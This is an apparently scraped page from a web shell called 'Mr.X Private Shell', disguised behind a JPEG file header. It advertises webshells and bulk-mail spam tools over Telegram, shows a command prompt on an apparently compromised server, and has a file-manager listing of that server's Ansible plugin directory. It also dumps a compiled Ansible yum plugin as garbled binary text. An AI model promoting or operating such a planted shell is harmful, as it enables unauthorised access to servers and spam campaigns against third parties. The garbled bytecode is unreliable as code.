����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)gi�@s^ddlmZmZmZeZddlmZddlm	Z	ddl
mZe�Ze
d�ZGdd�de	�ZdS)	�)�absolute_import�division�print_function)�AnsibleActionFail)�
ActionBase)�Display)Zyum�yum4�dnfcs"eZdZdZd�fdd�	Z�ZS)�ActionModuleFNcs�d|_d|_tt|��||�}~d|jjvr@d|jjvr@td��|jj�d|jj�dd��}|dkr�z.|jj	r�|j
�d|jj	�}n|j
�d�}Wnty�Yn0|t
v�r|jdtd	d
d�|d�}t�d
|�|�di��d	d�}|jj	r�|jj�r|dk�rd|i|d<|t
v�r.|�ddd��n�|dk�r<d}d|}|jj�|��sj|�dd|d��nV|jj��}d|v�r�|d=d|v�r�|d=t�d|�|�|j||||jjd��|jj�s�|�|jjj�|S)a�
        Action plugin handler for yum3 vs yum4(dnf) operations.

        Enables the yum module to use yum3 and/or yum4. Yum4 is a yum
        command-line compatibility layer on top of dnf. Since the Ansible
        modules for yum(aka yum3) and dnf(aka yum4) call each of yum3 and yum4's
        python APIs natively on the backend, we need to handle this here and
        pass off to the correct Ansible module to execute on the remote system.
        TZuseZuse_backendz9parameters are mutually exclusive: ('use', 'use_backend')�autoz.{{hostvars['%s']['ansible_facts']['pkg_mgr']}}z{{ansible_facts.pkg_mgr}}zansible.legacy.setupZansible_pkg_mgrz!all)�filterZ
gather_subset)�module_name�module_args�	task_varszFacts %sZ
ansible_factsZpkg_mgr)zfCould not detect which major revision of yum is in use, which is required to determine module backend.zpYou should manually specify use_backend to tell the module whether to use the yum (yum3) or dnf (yum4) backend}))Zfailed�msgrr	zansible.legacy.z+Could not find a yum module backend for %s.z3Running %s as the backend for the yum action plugin)r
rrZ
wrap_async)Z_supports_check_modeZ_supports_async�superr
�runZ_task�argsr�getZdelegate_toZ_templar�template�	Exception�VALID_BACKENDSZ_execute_module�dict�display�debugZdelegate_facts�updateZ_shared_loader_objZ
module_loaderZ
has_plugin�copyZvvvvZ	async_valZ_remove_tmp_pathZ_connectionZ_shellZtmpdir)�self�tmpr�result�moduleZfactsZnew_module_args��	__class__��>/usr/lib/python3.9/site-packages/ansible/plugins/action/yum.pyr!s\
�
��	


�
zActionModule.run)NN)�__name__�
__module__�__qualname__ZTRANSFERS_FILESr�
__classcell__r#r#r!r$r
sr
N)Z
__future__rrr�typeZ
__metaclass__Zansible.errorsrZansible.plugins.actionrZansible.utils.displayrr�	frozensetrr
r#r#r#r$�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 36.66 KB 0644
__init__.cpython-39.pyc File 36.66 KB 0644
add_host.cpython-39.opt-1.pyc File 2.22 KB 0644
add_host.cpython-39.pyc File 2.22 KB 0644
assemble.cpython-39.opt-1.pyc File 3.87 KB 0644
assemble.cpython-39.pyc File 3.87 KB 0644
assert.cpython-39.opt-1.pyc File 2.57 KB 0644
assert.cpython-39.pyc File 2.57 KB 0644
async_status.cpython-39.opt-1.pyc File 1.69 KB 0644
async_status.cpython-39.pyc File 1.69 KB 0644
command.cpython-39.opt-1.pyc File 1.04 KB 0644
command.cpython-39.pyc File 1.04 KB 0644
copy.cpython-39.opt-1.pyc File 12.06 KB 0644
copy.cpython-39.pyc File 12.06 KB 0644
debug.cpython-39.opt-1.pyc File 1.8 KB 0644
debug.cpython-39.pyc File 1.8 KB 0644
fail.cpython-39.opt-1.pyc File 968 B 0644
fail.cpython-39.pyc File 968 B 0644
fetch.cpython-39.opt-1.pyc File 4.56 KB 0644
fetch.cpython-39.pyc File 4.56 KB 0644
gather_facts.cpython-39.opt-1.pyc File 4.13 KB 0644
gather_facts.cpython-39.pyc File 4.13 KB 0644
group_by.cpython-39.opt-1.pyc File 1.38 KB 0644
group_by.cpython-39.pyc File 1.38 KB 0644
include_vars.cpython-39.opt-1.pyc File 7.74 KB 0644
include_vars.cpython-39.pyc File 7.74 KB 0644
normal.cpython-39.opt-1.pyc File 1.19 KB 0644
normal.cpython-39.pyc File 1.19 KB 0644
package.cpython-39.opt-1.pyc File 2.63 KB 0644
package.cpython-39.pyc File 2.63 KB 0644
pause.cpython-39.opt-1.pyc File 6.15 KB 0644
pause.cpython-39.pyc File 6.15 KB 0644
raw.cpython-39.opt-1.pyc File 1.16 KB 0644
raw.cpython-39.pyc File 1.16 KB 0644
reboot.cpython-39.opt-1.pyc File 13.33 KB 0644
reboot.cpython-39.pyc File 13.33 KB 0644
script.cpython-39.opt-1.pyc File 3.47 KB 0644
script.cpython-39.pyc File 3.47 KB 0644
service.cpython-39.opt-1.pyc File 2.63 KB 0644
service.cpython-39.pyc File 2.63 KB 0644
set_fact.cpython-39.opt-1.pyc File 1.72 KB 0644
set_fact.cpython-39.pyc File 1.72 KB 0644
set_stats.cpython-39.opt-1.pyc File 1.71 KB 0644
set_stats.cpython-39.pyc File 1.71 KB 0644
shell.cpython-39.opt-1.pyc File 957 B 0644
shell.cpython-39.pyc File 957 B 0644
template.cpython-39.opt-1.pyc File 4.86 KB 0644
template.cpython-39.pyc File 4.86 KB 0644
unarchive.cpython-39.opt-1.pyc File 2.47 KB 0644
unarchive.cpython-39.pyc File 2.47 KB 0644
uri.cpython-39.opt-1.pyc File 2.47 KB 0644
uri.cpython-39.pyc File 2.47 KB 0644
validate_argument_spec.cpython-39.opt-1.pyc File 3.19 KB 0644
validate_argument_spec.cpython-39.pyc File 3.19 KB 0644
wait_for_connection.cpython-39.opt-1.pyc File 3.13 KB 0644
wait_for_connection.cpython-39.pyc File 3.13 KB 0644
yum.cpython-39.opt-1.pyc File 2.84 KB 0644
yum.cpython-39.pyc File 2.84 KB 0644